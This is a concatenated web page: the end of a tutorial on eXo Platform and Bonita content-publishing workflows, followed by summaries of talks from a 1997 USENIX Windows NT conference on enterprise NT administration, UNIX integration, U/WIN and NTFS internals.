The type of article to create can be specified in the combo box in the left hand side top corner. Let's say you wish to create a document of type "exo:article." This is a structured document type whose content is stored as JCR Node Properties. It models a news article and contains information such as a title, a summary, a date, an image, and a body. You can fill in the fields. Some fields allow rich text editing.
Figure 31: Article creation
It is also been possible to upload binary documents instead of choosing a structured document type. When completed, click on OK. A new document of type article is created in the JCR. You can see how it is rendered by clicking on it.
Figure 32: The created document as rendered by the Velocity Template
If you are satisfied with the results, you must save your current work session. To save, click on the disk icon located in the upper right corner.
Figure 33: Saving your current work session
Publication request
We now request the document to be published. As seen previously, a dedicated directory is supposed to contain all documents in verifying status. To publish, right click on the document icon, select "Actions," then "Cut."
Figure 34: Moving the document.
Go to the "cms/publication" directory and click on the paste icon. You finally must assign a category to your document. Click on the corresponding icon in the toolbar.
Figure 35: The "Manage Categories" icon
The panel that appears allows choosing hierarchical categories available in eXo. It is also possible to define your own categories to match your needs. In this tutorial, let us choose "cms/news/world".
Figure 36: This panel allows assigning categories to a document
Once again, you need to save your work session to commit the changes. An action is configured to monitor new documents in this directory. It has the effect to launch a Bonita Process instance so that authorized people can review it.
Validation
The following Bonita process is launched behind the scenes:
Figure 37: Content Validation Workflow
The approvers are assigned the Task "evaluation" to review the document. Approvers are offered four options:
- They can approve the document. In that case, they need to set start and end publication dates
- They can ask the submitter to rework his contribution. After that, the submitter is free to modify the request. In that case, the processing flow iterates so that the document can be re-evaluated. Regarding iterations, we recommend reading the previous article of this trilogy, about iterations. The submitter can also drop everything
- Approvers can refuse the request
- Approvers can specify an eXo group name and delegate the work to their members. In that case, a separate Process instance is started
By default, approvers are part of the "/company/direction" eXo group. The "exoadmin" account is one of its members. Let's log into the Portal using this account and access the Workflow Portlet. In the To Do list, we can see that we are assigned a new Task.
Figure 38: The approver is asked to process a document
If you click on the "Manage" icon, you can access the corresponding Workflow form dialog. The form contains classical fields as we saw in the previous use case. The Velocity template is also summarized so that the approver can glance at the article and make a decision.
Figure 39: The approval form dialog. The reviewed document is incorporated.
Specify the dates, make sure the radio button "Approve" is selected and click on "Submit." The Bonita Process is placed in a wait state until the start date is reached. At that time, the document is moved from the "Draft" Workspace to the "Publication" Workspace. It is officially published.
There are two ways to observe this. The first is to use the ECM Portlet to browse the JCR. You see that the document is no longer in the "Draft" Workspace but is stored in the "Publication" Workspace, still under "cms/publication." The second way is to use the "Content Browser" Portlet. This Portlet is available to all Portal users. It basically allows the user to browse documents based on categories. Access the "cms/news/world" category. The document should appear in the content area.
Figure 40: Content Browser Portlet
Click on the document. It is now displayed in the browser.
End of life
The document is accessible from the "Content Browser Portlet" till the publication end date. At that date the document is moved to the "Backup" Workspace for archiving.
Conclusion
Hopefully this article gives you a good insight on this collaborative tool. The integration skills of eXo Platform should help to apply most concepts covered here to any component of an SOA platform.
We won't let the matter rest there. Both eXo and Bonita teams are on the move to add cool new features, such as SVG dynamic rendering of the Workflow Process, JCR-stored rules execution from Workflow Tasks, and Groovy script execution when pre-filling or checking fields. Of course, we welcome any feedback or contribution from the community. We can be reached at the mailing lists bonita_at_objectweb.org (for Workflow related topics) or exoplatform_at_objectweb.org (for Portal related topics). Finally, the Bonita team would like to thank the eXo team for its great help and openness.
Stay tuned!
Acknowledgements
- There are many people who deserve the acknowledgments of the Bonita team. We would like to thank the eXo folks for their great help and openness. We also thank Patrick Silani and Fouad Allaoui for their involvement in the project. We finally thank Roger Perey at Bull Phoenix for his great work when reviewing the articles.
Resources
- Bonita project site :
- Bonita download site :
- Bonita mailing list : bonita_at_objectweb.org
- eXo Platform community site :
- eXo Platform documentation site :
- eXo Platform corporate site :
- eXo Platform download site :
- eXo Platform mailing list : exoplatform_at_objectweb.org
- JOnAS project site :
- JOnAS download site :
- Article on eXo Platform at TheServerSide community site:
- Its sequel:
- XPDL specification at the WfMC web site:
- Portlet specification (JSR 168):
- JCR specification (JSR 170):
- Java Server Faces:
About the author
Brice Revenant is an Engineer working with Bull S.A.S, in the 'service-oriented architecture' division. The mission of this division is to provide an integrated middleware platform to Bull customers. Previously, Brice was involved in J2EE development projects, in telecom and system management areas. Brice develops and designs in both eXo Platform and Bonita open source projects. He lives in southern east of France.
|
http://www.theserverside.com/news/1364358/Bonita-v2-Series-Part-Three
|
CC-MAIN-2015-35
|
en
|
refinedweb
|
If you're using exim, you might try using the .forward file filtering built into exim instead of trying to do it in mutt, if you're having trouble. For example, straight from the README on exim, I have this in my .forward which puts all the Debian lists in their own folders... if $h_x-mailing-list matches "^<debian-(.*)@lists\\\\.debian\\\\.org>" then seen save $home/Mail/debian-lists/$1 endif I have other ones for other mailing lists, etc. If I remember correctly, you may have to turn this feature on in the latest exim package? Don't remember. Good luck! Nate On Sat, Jan 08, 2000 at 04:23:00PM +1100, Hamish Moffatt wrote: > > I'm subscribed to a mailing list which causes mutt problems with > threading. This is because: > > - lots of the users use dumb mailers which don't add In-Reply-To or > References headers, and > - the list software adds a [TAG] to the start of the subject (and removes > it from any other position in the list). > > Since there's no proper threading info and the subjects have been > multilated, mutt is unable to thread the list correctly. > > Is it possible to tell mutt to ignore the tag? I looked through the manual > but I couldn't see it. > > I'm using exim's built in filters to sort my mail into folders. I developed > a complicated system where exim pipes the incoming mail through a perl > script to remove the tag and through the filter again to remove it, > but it's a bit ugly. > > > thanks > Hamish > -- > Hamish Moffatt VK3SB. CCs of replies on mailing lists arep7sOjErFu2a.pgp
Description: PGP signature
|
https://lists.debian.org/debian-user/2000/01/msg01330.html
|
CC-MAIN-2015-35
|
en
|
refinedweb
|
#include <itkSmartPointerForwardReference.h>
SmartPointerForwardReference implements reference counting by overloading operator -> (and *) among others. This allows natural interface to the class referred to by the pointer without having to invoke special Register()/UnRegister() methods directly.
This class is nearly identical to itkSmartPointer except that is used in situations where forward references or cyclic include dependencies become a problem. This class requires that the .h file is included in the .h file of the class using it, and the .txx file is included in the .cxx/.txx file of the class using it. (Make sure that SmartPointerForwardReference.txx is included last in the .cxx/.txx list of includes.)
Definition at line 48 of file itkSmartPointerForwardReference.h.
Constructor
Definition at line 52 of file itkSmartPointerForwardReference.h.
Const constructor
Construct from a WeakPointer
Constructor to pointer p
Destructor
Access function to pointer.
Return pointer to object.
Overload operator ->
Comparison of pointers. Less than comparison.
Comparison of pointers. Less than or equal to comparison.
Overload operator assignment.
Overload operator assignment.
Overload operator assignment.
Comparison of pointers. Greater than comparison.
Comparison of pointers. Greater than or equal to comparison.
|
http://www.itk.org/Doxygen314/html/classitk_1_1SmartPointerForwardReference.html
|
crawl-003
|
en
|
refinedweb
|
for connected embedded systems
posix_spawnp()
Spawn a process (using executable name).
Synopsis:
#include <spawn.h> /* If using C and gcc version 2.95, use: int posix_spawnp(pid_t *_Restrict pid, const char *_Restrict file, const posix_spawn_file_actions_t *file_actions, const posix_spawnattr_t *_Restrict attrp, char *const argv[], char *const envp[]); /* If using C++ and gcc higher than version 2.95, use: int posix_spawnp(pid_t *_Restrict pid, const char *_Restrict file, const posix_spawn_file_actions_t *file_actions, const posix_spawnattr_t *_Restrict attrp, char *const argv[_Restrict], char *const envp[_Restrict]);
Arguments:
- argv
- A pointer to an argument vector. The value in argv[0] should represent the filename of the program being loaded, but can be NULL if no arguments are being passed. The last member of argv must be a NULL pointer. The value of argv can't be NULL.
- attrp
- A spawn attribute object.
-.
- file
- The name of the executable file. The file parameter to posix_spawnp() is used to construct a pathname that identifies the new process image file. If the file parameter contains a slash character, the file parameter is used as the pathname for the new process image file. Otherwise, the path prefix for this file is obtained by a search of the directories passed as the environment variable PATH (see the Base Definitions volume of IEEE Std 1003.1-2001, Chapter 8, Environment Variables). If this environment variable is not defined, the results of the search are implementation-defined.
- file_actions
- If file_actions is a null pointer, then file descriptors open in the calling process will remain open in the child process, except for those whose close-on-exec flag FD_CLOEXEC is set (see fcntl()). For those file descriptors that remain open, all attributes of the corresponding open file descriptions, including file locks (see fcntl()), shall remain unchanged. If file_actions is not NULL, then the file descriptors open in the child process will be those open in the calling process as modified by the spawn file actions object pointed to by file_actions and the FD_CLOEXEC flag of each remaining open file descriptor after the spawn file actions have been processed. The effective order of processing the spawn file actions will be:
- The set of open file descriptors for the child process will initially be the same set as is open for the calling process. All attributes of the corresponding open file descriptions, including file locks (see fcntl()), will remain unchanged.
- The signal mask, signal default actions, and the effective user and group IDs for the child process will be changed as specified in the attributes object referenced by attrp.
- The file actions specified by the spawn file actions object are performed in the order in which they were added to the spawn file actions object.
- Any file descriptor that has its FD_CLOEXEC flag set (see fcntl()) will be closed. The posix_spawnattr_t spawn attributes object type is defined in <spawn.h>. It will contain at least the attributes defined below.
- pid
- The process Id.
Library:
libc
Use the -l c option to qcc to link against this library. This library is usually included automatically.
Description:
The posix_spawnp() function creates a new process (child process) from the specified process image. The new process image is constructed from a regular executable file called the new process image file. This means that the only difference between posix_spawnp() and posix_spawn() is that posix_spawnp() accepts the name of an executable without its full path having been specified. Therefore, all this function needs to do is to locate file and then prefix it with its location (as required). posix_spawn() can then be called to perform the actual work.
For more infromation, see posix_spawn.
Returns:
The process ID of the child process, or -1 if an error occurs (errno is set).
Errors:
- EINVAL
- For any invalid parameter. An invalid argument was provided including an improperly initialized posix_spawnattr_t or posix_spawn_file_actions_t object.
- EIO
- An internal error occurred in the library.
- ENOENT
- The file argument could not be found in any of the PATH environment variable locations.
- ENOMEM
- The memory required to create the message to send to procnto could not be allocated memory to create the new process and its associated data structures could not be allocated. For partitions, the partition Id couldn't be added to the attributes object.
- EOK
- Success.
- errno
- Any error returned by a stat() on path.
When Adaptive Partitioning modules are also included in the image, the following error codes can be returned:
- EACCES
- The spawned program does not have permission to associate with the specified partitions.
- EEXIST
- Either one of the folling errors have occured:
- An attempt to associate with more than one partition of a given memory class. This typically occurs when you create a group name partition with more than one pseudo partition of the same memory class and then an attempt to spawn a process and associate with that group name partition.
- An attempt to associate with more than one scheduling partition This typically occurs when you create a group name partition with more than one scheduler pseudo partition and then an attempt to spawn a process and associate with that group name partition.
- ENOMEM
- The posix_spawnattr_t object specifies a memory partition that does not exist. The new process was unable to associate with onr or more memory partitions to be inherited from the parent process.
Classification:
See also:
posix_spawn(), posix_spawn_file_actions_addclose(), posix_spawn_file_actions_adddup2(), posix_spawn_file_actions_addopen(), posix_spawn_file_actions_destroy(), posix_spawn_file_actions_init(), posix_spawnattr_addpartid(), posix_spawnattr_addpartition(), posix_spawnattr_destroy(), posix_spawnattr_getflags(), posix_spawnattr_getnode(), posix_spawnattr_getpartid(), posix_spawnattr_getpgroup(), posix_spawnattr_getrunmask(), posix_spawnattr_getschedparam(), posix_spawnattr_getschedpolicy(), posix_spawnattr_getsigdefault(), posix_spawnattr_getsigignore(), posix_spawnattr_getsigmask(), posix_spawnattr_getstackmax(), posix_spawnattr_getxflags(), posix_spawnattr_init(), posix_spawnattr_setflags(), posix_spawnattr_setnode(), posix_spawnattr_setpgroup(), posix_spawnattr_setschedparam(), posix_spawnattr_setrunmask(), posix_spawnattr_setschedpolicy(), posix_spawnattr_setsigdefault(), posix_spawnattr_setsigignore(), posix_spawnattr_setstackmax(), posix_spawnattr_setstackmax(), posix_spawnattr_setxflags()
|
http://www.qnx.com/developers/docs/6.4.0/neutrino/lib_ref/p/posix_spawnp.html
|
crawl-003
|
en
|
refinedweb
|
SEATTLE, WA
August 14-16, 1997
From UNIX into Windows NT A Long Day's Journey Into Night
David Korn, AT&T Laboratories
Summary by Gus Hartmann
David Korn is well known for his work on the Korn shell. Less well known is his work to make porting code to Windows NT from UNIX and vice versa easier for programmers. By his own admission, he has never administrated a computer system, so his dealings with Windows NT have been from a programming perspective. Ideally, he would like to see code being ported from Windows NT to UNIX and vice versa based on the needs of the program, and to that end, he has been working to increase the ease of migrating code. [Editor's note: Korn has his own article on page 28 in this issue.]
Before discussing Windows NT, Korn gave a brief overview of his computer experience in terms of platforms and programming languages. His list of platforms was divided into two sections; the first began with an IBM 650 and machine language to a VAX 780 running UNIX; the second ranged from Apollo Aegis and C to MVS Open Edition and ANSI C.
As a brief overview of Windows NT as a programming platform, Korn gave lists of the good and the bad qualities of Windows NT.
The good:
The bad:
Several common myths about Windows NT were debunked by Korn during his address. Korn has investigated each, and found it to be without basis in fact. Among these were the following:
Administration I Enterprise Management
Summary by Steve Hillman
Three papers focusing on various aspects of administering a truly large-scale NT installation were presented in this session.
The first paper, "Domain Engineering for Mission Critical Environments," was presented by Chris Rouland of Lehman Brothers. Lehman Brothers is a large
investment firm with offices worldwide and about 8,500 employees. It has roughly 3,200 SUNs, 7,000 PCs, and 400 NT and Novell servers. It runs both UNIX and NT servers, and still has some legacy Novell servers running.
According to Rouland, when setting up domains for NT servers, there are two models you can follow, and which one you choose is primarily dictated by the size of your network. Single-master domain models work in smaller environments. Lehman Brothers uses a multiple-master domain model, with a total of three masters one in North America, one in Europe, and one in Asia. Multiple-masters have higher resource requirements, but function better in very large organizations.
Lehman Brothers found that it was good to throw money at problems. With lots of servers, it was able to separate functions onto different servers. This also made it easier to delegate authority for managing services. Sysadmins would be given access only to a server that ran a service they were responsible for.
Rouland stressed the need for highly available Domain Controllers. All of Lehman Brothers DCs run on Compaq servers with RAID arrays, ECC DRAM, fail over CPUs, etc.
One interesting point that Rouland raised: consider a service pack update to be an OS upgrade. Most SPs make changes to the kernel files and hence should be treated as OS upgrades, rather than simply as patches. They have found that their Domain Controllers are not happy running at different SP levels, so they must synchronize as much as possible SP and hotfix updates to their DCs.
Rouland also talked about namespace. There are four primary methods of managing names under NT:
Lanman Browsing is broadcast-based and, in large networks, does not propagate well and gets confused. Microsoft DNS "works." The only realistic choice in a large NT installation is WINS; however. it still has its problems. One of these is that it has no decent administrative interface. Lehman Brothers found only one command-line interface into the WINS database, and it was a poor one. People there are working on their own WINS service based on the Samba code. [Editor's note: see Chris Hertel's article on page 23 about the University of Minnesota's extensions to Samba and WINS.]
The first question of the session was how Lehman Brothers handles account synchronization between UNIX and NT. Rouland responded that, currently, it doesn't. Accounts on each system are given the same username, but no password synchronization occurs. They're looking at a Kerberos solution in the future. As far as file space goes, people at Lehman Brothers have set up an NFS server on some of their NT servers and provided limited cross-platform support that way.
Lyle Meier of Texaco detailed a problem he was having with users in the US getting authenticated across a slow link from a PDC in Kuwait. He wanted to know if Lehman Brothers experiences similar problems. Rouland responded that they had. The short-term solution was to turn off net logon at the remote site. The long-term solution that they hope to implement is a rewritten WINS service that keeps track of hop counts for Domain Controllers and authenticates to the "closest" one, rather than the first one to answer.
Rouland had mentioned earlier that the Microsoft DNS server stored all of its information in the registry, preventing you from finding any named.boot or similar files. Eric Pearce of O'Reilly commented that, in his experience, the MS DNS could be set up to use files. According to documentation I've read, the MS DNS server can be set up to use files, but when doing so, the DNS Manager cannot be used; and if you switch to using the registry, you can't switch back.
Jeff Hoover of Cisco asked how Lehman Brothers intends to manage its browsing environment. Rouland said that people there are still trying to figure out how to deal with browsing issues in general everything from turning it off completely, to using Samba, to turning it off on enough servers that they know which servers will act as browse masters.
The second paper, "In Search of a Complete and Scalable Systems Administration Suite," presented by Joop Verdoes of Shell International Exploration and Production, detailed his frustration in trying to find a suite that really managed their machines. This paper wasn't about NT management specifically, in fact, most of the examples given were UNIX-based. Unfortunately, SIEP has not met with much success so far.
Verdoes summarized many of the inadequacies he'd found in the management suites he'd dealt with and then listed features he believes a good suite should have. They include:
On the bright side, Verdoes provided some good lines for the conference. Among them were, "Have you ever heard of drag-and-undrop?", referring to his frustration with not having an audit trail on most system management suites, and "Iconized management is a fake!", referring to windows full of several hundred icons, all of which look exactly the same.
The final paper of this session, "Large Scale NT Operations Management," was presented by Steven Hearn of Westpac Bank in Australia. Westpac has about 33,000 employees and 10,000 PCs spread out across 1,100 bank branches. Each branch runs its own NT 3.51 server, and each server speaks IP over 9600 bps modem links back to the headquarters. There's no NT expertise at each branch, so all server management must be done remotely over the 9600 bps links.
Because there's very limited bandwidth to each branch and limited staff at the operations center, Westpac has been focusing on trying to automate as much as possible. It's also been adding more applications at the branches, increasing complexity.
Hearn summarized some of the key challenges that his operations center is facing:
Some of these challenges are already being worked on. Hearn's group is now using the User Manager, Print Manager, and Server Manager as remote management tools to manage their branch servers centrally. This provides a very basic level of management. They're presently working on the security of this tightening up controls for who can remotely connect and what they can do.
For NT event logging, they're using SNA Server and passing events into NetMaster for a centralized view of NT alerts. They've had this system in place for nearly two years now, and it has helped them learn a lot about the volume of NT events that can be expected and what events should be passed along to their help desks for immediate action.
Westpac is currently using FTP for remote data distribution. Each night, the NT servers ftp into a central mainframe to get updates via FTP. They're currently able to disseminate up to 2Mb to all 1,000 branches each night.
The operations center is now reviewing several performance-monitoring software packages and working on in-house automation software that will alert the operations center when the automation fails. Their help desk training is also being improved to provide more problem resolution on the "front lines."
Questions started with Rob Wilkins of Dupont asking Hearn how he managed to remote boot his clients over their 9600 bps lines. Hearn explained that all booting happens within the branch. The PCs are diskless and connect via 10BaseT to the NT server at the branch. They get their disk images from the local server.
Till Poser of DESY asked why they chose to have a separate domain at each branch and how their centralized account management works with that many domains. According to Hearn, their remote-boot architecture required them to have separate domains at each location. They currently have no centralized accounts accounts exist only at each branch, and when the servers are being managed from the operations center, the administrators must log in to each server.
Derek Simmel of CERT wanted to know what measures had been put in place to protect the confidentiality and integrity of data. Hearn answered that, for the most part, he couldn't say much under confidentiality agreements with the bank, but he did say that their remote FTP transfers go through a validation process to make sure the remote server is a valid server and the data have arrived intact.
Administration II Integration
This session began with a paper entitled "Integrating Windows 95/NT into an existing UNIX Enterprise Network," presented by Cam Luerkens of Rockwell Collins Cedar Rapids Division.
In 1996, Rockwell Collins Cedar Rapids had roughly 25 UNIX-based application servers, 400 UNIX workstations, and 3,500 PCs running Windows 3.1 and PC-NFS. When it came time to transition to Windows 95 or NT on the desktop, management decided that the UNIX-based servers should stay on and that some form of PC-NFS client should continue to be used unless another solution could be proven to be better.
The transition team had several problems to consider:
To solve the first problem, eight NFS and two SMB products were evaluated. Based on evaluation in several key areas, Hummingbird's Maestro NFS client narrowly proved to be the best product and was adopted sitewide.
Authentication was handled by having the PCs authenticate to an NT domain. Initially, the NT and UNIX passwords were just set to the same thing and then given to the users. Hummingbird then agreed to write password synchronization routines to sync 95 and NT passwords to NIS. The NT domain routines were added last April, and the 95 routines were finished just before this conference and are currently being tested.
To handle printing, the NT workstations were set up to print to NT servers. Because NT connection licenses weren't purchased for them, the Windows 95 machines were set up to print to UNIX via Maestro.
A Perl login script is run at the Win95/NT workstation whenever a user logs in. This handles setting up the user's environment, ensuring that, regardless of where the user logs in, the environment will be the same. Additionally, a Rockwell programs group was added to the Start menu. Each icon in the group actually points to a Perl script that sets up the environment before running the application if the application has never been run on the workstation before, appropriate installation steps are taken automatically.
When implementing the rollout, the transition team found that the first 300 users went without any major problems. When they hit 300500 users, they started having problems with file locking on the NFS servers when running the Perl login scripts. This turned out to be a Maestro issue and was eventually resolved. At 700800 users, they had problems with load: all users were running their Perl scripts from the same server. Using a combination of NIS tables and more Perl, they were able to load balance the clients across several servers based on what subnet they were connecting from.
The question period began with Rob Elkins of Dupont asking why Samba was not used. Luerkens answered that management required that any product they use have available support they can buy. The transition team would also have had to show that Samba was significantly better than an NFS solution, because NFS was already in place and working well.
Steven Hearn of Westpac Bank asked about virus scanning. Luerkens said that the PCs use realtime virus scanning to block most viruses, including macro-viruses. Rockwell is also running a version of McAfee's antivirus software on its UNIX servers. This gets run each night and automatically generates email notification to any users found to have a virus within a file in their file space.
Ian Alderman from Cornell University asked for some more information on Maestro. According to Luerkens, Maestro consists of two parts the client, which runs on NT and 95, and the NFS daemon, which runs on the UNIX servers. The daemon ties into NIS for authentication. The Win95 password-changing program is currently being tested. It will allow a password changed on a Win95 client (using the standard Win95 password-changing interface) to be changed in both the NT Domain Controller and the UNIX NIS maps.
Jim Dennis wondered why file locking was an issue if the Perl scripts were mounted on a read-only volume. As was mentioned earlier, this was a bug with Maestro the NFS daemon was locking files on reads as well as writes.
The second half of the technical session consisted of a panel discussion entitled "Management Integration/Politics." The panel moderator was Boris Netis. Panel members were Paul Evans and Phil Scarr of Synopsys and Chris Rouland of Lehman Brothers. This panel focused on the politics of bringing Windows NT into an organization.
In the case of Synopsys, a vocal group of senior VPs has been pushing for several years to have the largely Mac-based company switched to PCs. When Win95 was released, the sysadmins were able to head off this push, but when Apple's stock started to slip in early 1996, and with the pending release of NT 4.0, the company started planning the switch (much to the protest of the Mac support staff!). In the early stages of planning, the CEO asked why they couldn't just come in one weekend and replace all of the Macs with PCs running NT 4.0. The MIS director nearly leapt across the table and throttled him.
At Lehman Brothers, NT crept in through the back door. It started out as a pilot project. The first business unit to get NT on the desktop was the brokerages. This was in part due to the relatively simple requirements of the brokerage users. From there, they started planning how they would introduce it into the other business units. At the same time, Microsoft came up with a true 32-bit version of Office. One of the driving forces behind the NT rollout was the richness of the applications available for it. With the release of a 32-bit Office, the drive to get NT onto every desktop increased. The behind-the-scenes database servers that keep everything running are still largely UNIX based.
Evans touched upon the politics involved in replacing users' desktop environments. Users may tend to hold you responsible even if it wasn't your decision to replace them. Some thought needs to be given to how the changes will affect the user.
Joop Verdoes asked why it was necessary to pick a single platform for the entire company instead of giving the users what they want. The consensus from the panel was that most companies can't afford to support this. At Synopsys, it was a requirement that the support staff know exactly what was on everyone's desk to ensure that support was actually feasible. Rouland explained that at Lehman Brothers, each business unit is responsible for choosing its desktop. They don't decide technical details, but they decide whether to stick with their legacy Win3.1/Netware system or upgrade to NT. If they choose NT, Lehman's support staff handles all other aspects, asking the end-user/managers only whether they need a "fast computer, really fast computer, or really, really fast computer."
John Holmwood of Nova Gas commented that he's being asked by senior management to justify why they need to worry about integrating NT and UNIX. He asked the panel if they'd faced the same questions. Netis commented that there are good reasons for integrating the two platforms. One is avoiding duplication of services: there's no need to waste effort setting services up under NT if they already work perfectly well under UNIX. A second reason is sharing file space. If an organization needs to move files between the two platforms or has a large investment in UNIX disk space, it makes sense to try to integrate the two.
Scarr commented that it would be good if integration can happen at a political level as well as a technical level. Synopsys, has a completely separate NT administration group that doesn't even work in the same state. The NT group has no idea what the UNIX group is doing . When the UNIX group installed NISGina (a freeware product that allows an NT machine to authenticate to a NIS server at login time), the NT group wasn't interested.
A comment was made by Crystal Harris of the University of California at San Diego that not all environments are so homogenous. In a university environment, in most cases, the users dictate what platforms get used, often resulting in virtually every platform being used! She is very interested in seeing programs that will help integrate such a heterogeneous environment.
Steve Hearn asked the panel to comment on the integration issue of a single logon. Rouland responded that Lehman Brothers has been looking, so far to no avail, for a commercial solution to this problem. Its group is considering attacking it from the other side dropping in LDAP-NIS gateways and making the UNIX boxes authenticate from the NT Domain controllers, rather than the other way around. Scarr expects that, within 18 months, Synopsys will be almost entirely NT based, and this will be a nonissue.
Dave Ellis of Sandia National Labs asked if senior management was aware of the benefits they were getting with NT, such as increased security. Evans responded that, in his opinion, no. The move to NT was largely market driven "Everyone else is, so we have to too." The Gartner Group's Total Cost of Ownership reports are also motivating management to move to NT. The subtleties of the various operating systems are lost on them.
Joop Verdoes wanted to find some decent capacity-planning tools that would allow him to determine how many servers he'd need to deploy. Netis said that Microsoft had some simple tools that would help. Rouland said that he had seen no decent tools. He just grossly overengineers his network. Scarr asked for a clarification of what a "server" is. At Synopsys, most of the servers are legacy servers and are UNIX based.
A participant then brought up the issue of cloning NT boxes to facilitate quick rollouts. He currently spends about eight hours on each NT machine he sets up because he can't just clone the hard drive because of the Security ID issue. Apparently, the panel was not aware of this issue because they've all been cloning machines at their sites. As was explained by several people in the audience, if you duplicate the SID, the effects can be quite subtle at first, but duplication can cause problems with SMS and with browsing on large networks.
It will also wreak havoc if the machines are upgraded to NT 5.0, because NT 5 uses the SID as an identifier in its directory services tree. New SIDs are not created when a machine is upgraded.The unique SID is not generated until the machine is rebooted after the initial text-based installation. If you switch the machine off, rather than reboot, and then clone that hard drive, you'll have SID-less PCs that are ready to be configured. This still leaves a lot of steps in the installation process that must be completed on every clone.
Kimbol Soques of AMD has spent a fair amount of time working on this problem and has a lot of information accumulated from various sources. She offered to email the info to anyone interested. Her address is <kimbol.soques@amd.com>.
John Crane asked the room how many shops had separate UNIX and NT system administrators. The vast majority had separate administrators.
Vince Kluth of GDE Systems compared the information model to a type of government, where a university could be compared to a democracy each user in control of their own machine. A corporation is more like a dictatorship, where a single voice decides what machines shall be used everywhere.
The last question of the session concerned experience with Mac support on NT servers. Netis commented that he'd had some experience with it and found it to be mediocre. Scarr relayed the all-too-common story where a user sets up an NT server, tries to set up a queue for an Appletalk printer, selects "yes" to the question "Do you want to capture this printer," and then wonders why the printer disappears.
Rouland added that one of Lehman Brothers departments Creative Services has Macs, and when an NT server with Mac File and Print services was set up for them, they loved it.
MS/Zero Administration Windows
Dan Plastina, Microsoft, Inc.
In the next version of Windows NT, Microsoft is attempting to reduce the total cost of ownership by lowering the administrative costs. This would ideally involve remote management of software, users, and hardware profiles. Dan Plastina of Microsoft presented an overview of the new administration features that will be coming in Windows 98 and Windows NT 5.0.
One of the key new features is Intellimirror functionality. Essentially, this consists of mirroring every write to the local disk to a network disk. This will allow complete re-creation of the local disk in the event of a catastrophic hardware failure. This is dependent upon the presence of a boot ROM containing a DHCP client that is a part of the new motherboard standards on which Microsoft is working with other industry players to develop. Upon booting, the client machine connects to a Remote Boot server and updates the local hard drive as necessary to make it identical to the user's home drive. This updating could involve installing certain user applications or even installing a different version of the operating system.
Seamless roaming will also be enabled, allowing users to sit at any machine and, as far as hardware permits, have a re-creation of their normal environment on the remote machine. This will include any applications that would be installed locally, as well as user documents.
As a means of installing applications, remote installation based on document type will also be supported. For example, a user receives via email a document in a format that the user cannot open with the software that is installed locally. The client machine would indicate to the server that an application to deal with that file type is needed, and the server would remote install a suitable application, providing support to the user without human intervention. [Editor's note: The server would then make an electronic funds transfer to pay for the new application license to Microsoft. Just kidding!]
Another important part of this initiative is the Windows Management Services, such as Web-Based Enterprise Management (WBEM) and Windows Management Interface (WMI). WBEM allows sharing of management data between network devices, desktops, and systems.
Also featured will be new modular administrative tools, called "snap-ins." By selecting only the tools necessary for their site, administrators can build a tool set suited to their needs. Application deployment will be improved for administrators, enabling a system administrator to push applications onto a client machine by "assigning" the application to a given user. Other software packages can be made available without forcing installation by making them "published" for a given user or group of users. "Published" applications can be added via the "Add/Remove Programs" commands in the control panels.
Tools
This session contained three papers. The first paper, "U/WIN UNIX for Windows," was written and presented by David Korn. U/WIN is a set of libraries and header files that allow UNIX source code to be compiled and run on a Windows NT or 95 system with little or no modification. The software was developed by the Software Engineering Research Department at AT&T Labs, with most of the work being done by Korn. The binaries are freely available for noncommercial use.
In writing the software, the team's goals were
These goals were met, either partially or completely. Some of the problems they had to overcome included
Korn did not go into all of the technical details on how some of these problems were overcome (he only had 30 minutes!), but a lot more detail can be found in his paper.
U/WIN was written using the Win32 API. Because this API is present on both Windows NT and Windows 95, most code compiled to use U/WIN will run on either platform (note that some Win32 API calls are not available on Win95 and hence can't be made available via U/WIN on Win95). Virtually all UNIX calls were implemented in U/WIN. Additional features include:
The current version of U/WIN, 1.30, was released just before the conference. It includes a C compiler wrapper for Visual C/C++. To date, over 170 tools have been ported to NT using U/WIN, including ksh-93 and vi. Development team testing has produced the following results:
The U/WIN project is still being actively worked on. In the future, Korn hopes to add these features:
Korn provided some URLs that are relevant to this paper:
Phil Scarr asked Korn if he'd compiled Gcc under U/WIN yet. He said he hadn't, but that it should be a trivial task. In his opinion, most programs should compile with virtually no modifications, and he's hoping "we" will get to work on that!
Jim Dennis asked if he'd ported rdist yet. Korn explained that he started by porting just the minimum required to make a usable system. Not being an administrator, he hasn't ported rdist. He's eager to have someone else do it though.
An audience member asked Korn to elaborate on his comment in his paper that "there appear to be few if any technical reasons to move from UNIX to Windows NT." Korn responded that this may be more of a personal preference than anything else he likes the Linux environment for developing software and doesn't need the GUI that NT offers. Without the GUI, he said, there's little other reason to move to NT.
The second talk, "Utilizing Low-Level NTFS Disk Structures for Rapid Disk Searching" was by Michael Fredrick of Pencom. There was no associated paper with this talk.
Fredrick started with a description of the problem: come up with a method for doing fast file searches that can search on various criteria such as date, file size, or file owner (for quotas). His primary interest in coming up with these routines is to develop a quota system for NT. There are products on the market that do quotas on NT, but apparently they work strictly on a file's position in the tree, not on the file's owner, making it impossible to determine how much space a particular user is using.
According to Fredrick, filesystems normally have special "header" files that store file attributes such as name, owner, size, and security. A search algorithm can use these headers for fast searching on attributes.
NTFS uses the MFT (Master File Table) to store this info. Unfortunately, the MFT is a database file, not a sequential file. It's also completely undocumented and cannot be opened with the Win32 API. This makes it rather difficult to use it for fast searches. To view the MFT at all, Fredrick had to write routines to open an NTFS volume in raw mode and seek to the location of the MFT on the disk (it always starts at the same place), then read it in raw.
Fredrick explained that rebuilding a map of the volume from the MFT is not a trivial task. It uses a very elaborate (and highly undocumented) structure for storing the layout of the directories. Additionally, not all information is resident in the MFT it can contain pointers to other locations on the disk. In fact, NT treats everything to do with a file as an attribute the name, date, security ACL, even the data itself. If an attribute is too large to fit in the MFT, the MFT just contains a pointer to it elsewhere on the disk. A side effect of this is that very small files (typically under 1k) can fit entirely within the MFT and do not require any additional disk access at all.
Unfortunately, this is more of a work in progress than a finished product. Fredrick does not yet have any usable routines to do this fast searching.
Fredrick listed some references for anyone interested in more information about the NT filesystem:
In response to Fredrick's comment about having to rebuild pathnames by walking backwards through the MFT, Rik Farrow commented that it might be worth considering the algorithm that UNIX's ncheck uses where it builds a directory tree as it scans through the i-nodes. The same approach could be used while doing a search through the MFT.
The last paper, entitled "Adding Response Time Measurements of CIFS File Server Performance to NetBench," was presented by Karl Swartz of Network Appliance.
